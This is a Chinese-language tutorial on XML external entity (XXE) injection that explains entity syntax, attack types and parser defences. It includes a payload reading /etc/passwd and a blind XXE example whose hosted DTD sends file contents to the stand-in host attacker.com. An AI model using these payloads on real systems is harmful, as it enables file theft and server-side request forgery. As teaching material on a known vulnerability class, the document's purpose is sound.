XML外部实体(XXE)注入攻击详解
字数 868 2025-11-06 22:53:22
XML外部实体(XXE)注入攻击详解
描述
XML外部实体注入(XXE)是一种针对XML处理器的安全漏洞,攻击者通过构造恶意的XML外部实体声明,可导致敏感文件读取、内部端口扫描、服务器端请求伪造(SSRF)甚至远程代码执行。该漏洞常出现在接受XML输入的应用中(如Web服务、文档解析器)。
知识要点分步讲解
-
XML基础结构回顾
- XML文档由声明、元素和实体构成。例如:
<?xml version="1.0"?> <data>&example;</data> - 实体分为内部实体(
<!ENTITY example "value">)和外部实体(<!ENTITY example SYSTEM "file:///path">),后者通过SYSTEM关键字引用外部资源。
- XML文档由声明、元素和实体构成。例如:
-
XXE攻击原理
- 当XML解析器配置不当(如启用外部实体解析)时,攻击者可注入恶意实体定义:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE payload [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <data>&xxe;</data> - 解析器会将
&xxe;替换为/etc/passwd的文件内容,导致信息泄露。
- 当XML解析器配置不当(如启用外部实体解析)时,攻击者可注入恶意实体定义:
-
攻击场景分类
- 经典文件读取:通过
file://协议读取服务器文件。 - SSRF攻击:利用
http://协议使服务器向内部系统发送请求(如http://192.168.1.1:8080)。 - 盲注XXE:当响应不直接返回数据时,通过外带信道(如DNS日志)泄露信息。
- DoS攻击:使用递归实体展开耗尽服务器资源(如XML炸弹)。
- 经典文件读取:通过
-
防御措施
- 禁用外部实体:
- PHP:
libxml_disable_entity_loader(true) - Java:设置
XMLConstants.FEATURE_SECURE_PROCESSING
- PHP:
- 使用JSON等替代格式,或通过XSD严格校验XML结构。
- 白名单过滤:清理用户输入的DOCTYPE声明或特殊字符。
- 禁用外部实体:
示例:盲注XXE利用步骤
- 攻击者托管DTD文件(如http://attacker.com/malicious.dtd):
<!ENTITY % exfil SYSTEM "file:///etc/hostname"> <!ENTITY % send "<!ENTITY % result SYSTEM 'http://attacker.com/?data=%exfil;'>"> - 注入XML触发外部DTD加载:
<!DOCTYPE data [ <!ENTITY % dtd SYSTEM "http://attacker.com/malicious.dtd"> %dtd; %send; ]> - 服务器解析时会向攻击者域名发送包含文件内容的请求,实现数据外泄。
通过理解XML解析机制和攻击链,可有效配置解析器或采用安全开发实践阻断XXE漏洞。